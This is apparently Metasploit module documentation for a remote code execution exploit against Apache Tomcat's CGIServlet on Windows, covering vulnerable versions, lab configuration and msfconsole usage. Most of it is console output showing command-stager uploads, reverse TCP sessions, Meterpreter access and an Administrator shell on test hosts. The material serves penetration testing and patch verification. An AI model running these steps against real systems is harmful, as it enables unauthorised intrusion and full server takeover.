## Description

This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution.

## Vulnerable Application

The following versions of Apache Tomcat on Windows are effected:

* 9.0.0.M1 to 9.0.17
* 8.5.0 to 8.5.39
* 7.0.0 to 7.0.93

Also, the machine needs to enable the `enableCmdLineArguments` option in `conf\web.xml`. For example:

```xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
  <param-name>cgiPathPrefix</param-name>
  <param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>
<init-param>
  <param-name>enableCmdLineArguments</param-name>
  <param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
```

Also:

```xml
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
```

Next, modify the `conf\context.xml` file replacing `<Context>` with `<Context privileged="true">`

Finally, a script needs to be available in the `webapps\ROOT\WEB-INF\cgi` directory. For example:

```
@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!
```

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/windows/http/tomcat_cgi_cmdlineargs`
3. Configure rhosts
4. Configure TARGETURI
5. Set a payload
6. Run the module, you should get a session.

## Scenarios

### Apache Tomcat 9.0.17 with JDK 8 on Windows 10 Pro (x64)

#### Check Method

The check method of the exploit explicitly triggers the bug to verify the vulnerable, therefore it should be accurate. To use it, here is an example:

```
msf exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 172.16.135.141:8080 - The target is vulnerable.
```

#### Code Execution

```
msf exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 172.16.135.1:4444 
[*] Checking if 172.16.135.141 is vulnerable
[*] 172.16.135.141 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 172.16.135.141
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.141:51982) at 2019-06-18 15:26:54 -0500
[*] Command Stager progress - 100.02% done (100692/100668 bytes)

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
```

### Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200)
```
msf exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 2.2.2.2:8080 - The target is vulnerable.
msf exploit(windows/http/tomcat_cgi_cmdlineargs) > run

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Checking if 2.2.2.2 is vulnerable
[*] 2.2.2.2 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 2.2.2.2
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49612) at 2019-06-24 20:44:45 -0400

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
dir
Listing: C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi
=====================================================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2019-06-24 20:44:19 -0400  %SystemDrive%
100777/rwxrwxrwx  73802  fil   2019-06-24 20:44:19 -0400  dKASF.exe
100777/rwxrwxrwx  67     fil   2019-06-20 21:52:49 -0400  example.bat
100777/rwxrwxrwx  69     fil   2019-06-24 15:15:13 -0400  test.bat

meterpreter > sysinfo
Computer        : WIN-EDKFSE5QPAB
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: WIN-EDKFSE5QPAB\Administrator
meterpreter > shell
Process 3256 created.
Channel 1 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi>cd ..\..\..\..\bin
cd ..\..\..\..\bin

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>catalina.bat version
catalina.bat version
Using CATALINA_BASE:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_HOME:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_TMPDIR: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\temp"
Using JRE_HOME:        "C:\Program Files\Java\jdk1.8.0_211"
Using CLASSPATH:       "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\bootstrap.jar;C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\tomcat-juli.jar"
Server version: Apache Tomcat/8.5.20
Server built:   Aug 2 2017 21:35:49 UTC
Server number:  8.5.20.0
OS Name:        Windows Server 2012
OS Version:     6.2
Architecture:   amd64
JVM Version:    1.8.0_211-b12
JVM Vendor:     Oracle Corporation

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>
```
